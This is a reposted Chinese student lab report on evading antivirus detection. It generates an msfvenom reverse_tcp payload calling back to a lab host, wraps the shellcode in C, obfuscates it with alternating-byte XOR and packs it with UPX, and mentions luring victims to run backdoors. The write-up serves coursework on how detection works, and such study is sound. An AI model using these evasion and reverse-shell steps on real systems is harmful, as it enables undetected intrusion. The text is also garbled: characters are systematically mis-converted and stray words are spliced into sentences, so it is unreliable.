Exp3 免殺原理與實踐 20154320 李超

基礎知識

  • 如何檢測出惡意代碼
    • 基於特徵碼的檢測:分析指令的統計特性、代碼的結構特性等。若是一個可執行文件(或其餘運行的庫、腳本等)擁有通常惡意代碼所通有的特徵(開啓後門等)則被認爲是惡意代碼
    • 啓發式惡意軟件檢測:構成惡意代碼的指令的含義,根據些片面特徵去推斷。
    • 基於行爲的動態分析檢測:經過監視惡意代碼運行過程。如利用系統監視工具觀察惡意代碼運行過程時系統環境的變化,或經過跟蹤惡意代碼執行過程使用的系統函數和指令特徵分析惡意代碼功能,如出現惡意行爲,則屬於惡意代碼。
  • 什麼是免殺及如何進行免殺
    • 免殺,字面意思上理解,就是「反-殺毒」,也就是經過必定的手段,使得殺毒工具沒法檢測出來軟件病毒或者木馬之類的「干擾性」特徵。免殺的方法包括:
    • 修改特徵碼:用一些工具找出特徵碼並針對特徵碼作免殺處理。
      • 文件加殼:能夠用一些比較生僻的殼對木馬文件進行保護,阻止外部程序或軟件對加殼程序的反彙編分析或者動態分析。
      • 在有shellcode的狀況下,用encode進行編碼,payload從新編譯生成可執行文件
  • 改變行爲
    • 通信方式
      • 儘可能使用反彈式鏈接
      • 使用隧道技術
      • 加密通信數據
    • 操做模式
      • 基於內存操做
      • 減小對系統的修改
      • 加入混淆做用的正常功能代碼
  • 很是規方法
    • 使用一個有漏洞的應用當成後門,編寫攻擊代碼集成到如MSF中。
    • 使用社工類攻擊,誘騙目標關閉AV軟件。
    • 純手工打造一個惡意軟件

實驗過程

Msfvenom使用編碼器

檢測上節課利用Msfvenom生成的後門軟件,事實證實Metaspliot做爲作熱門的平臺之一,各AV廠商都有所防範。css

多編碼幾回也沒有明顯效果。python

事實上殺毒軟件廠商在對特徵碼進行掃描的同時,也會對編碼器所用的解碼代碼進行檢索,像咱們以前經常使用的比較有名的編碼器早已經被殺軟廠商們加入了黑名單,因此使用該編碼器即便編碼次數再多也不會起到實質性效果。shell

 

採用免殺平臺Veil-Evasion生成後門軟件

 此次使用免殺功能更強一點的一款平臺Veil-Evasionwindows

  • 按照其提示,輸入list查看payload,選擇能實現反彈端口鏈接的payload(通常看名字就能看出來,rev_tcprev_http結尾的通常都是)此次咱們隨便選擇其中知足咱們要求的payload,鍵入use + name of payload(截圖的時候我選擇的是ruby/meterpreter/rev_tcp可是生成的時候一直彈出payload有問題,因此實際上使用的是python/meterpreter/rev_tcp數組

  • 將.exe文件拷貝出來到靶機上,結果被查殺安全

  • 在網站上進行檢測ruby

  • veil-evasion平臺如此強大?

C語言調用Shellcode

  • 用指令會生成一個c語言格式的Shellcode數組。指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.30 LPORT=443 -f c
  • 用Microsoft Visual Studio 2013或者Visual C++ 6.0進行編譯運行生成可執行文件。tcp

  •  

  •  

  • 順利回連
  • 用VirSCAN.org進行檢測
    函數

修改shellcode

  • 用指令生成的shellcode數組,還是會被發現,因此咱們能夠對這個數組作一些變化,好比對奇偶位分別進行異或:
奇數位異或85,即01010101
偶數位異或170,即10101010

將原數組的內容進行改變,這樣在殺軟檢查時被發現的概率就減少了工具

  • kali成功獲取權限

UPX加殼

 

用下面的命令來加壓縮殼

# upx 4320-1.exe -o 4320m.exe

·
效果並非很好

離實戰還缺些什麼技術或步驟

    • 最關鍵的部分實在傳播環節,實驗中實在關閉防火牆的狀況下將後門程序傳至靶機中,現實中通常普通的我的計算機都會打開防火牆,更不用說涉密計算機,也正因如此,確認下載網站的安全性是至關重要的,若是主動選擇了忽略就等於讓對方垂手可得地突破了這一關鍵環節。
    • 其次,在實驗中都是靶機主動完成回連,經過必定的假裝和誘導讓被攻擊者打開後門程序纔是更高級和更現實的方法。
相關文章
相關標籤/搜索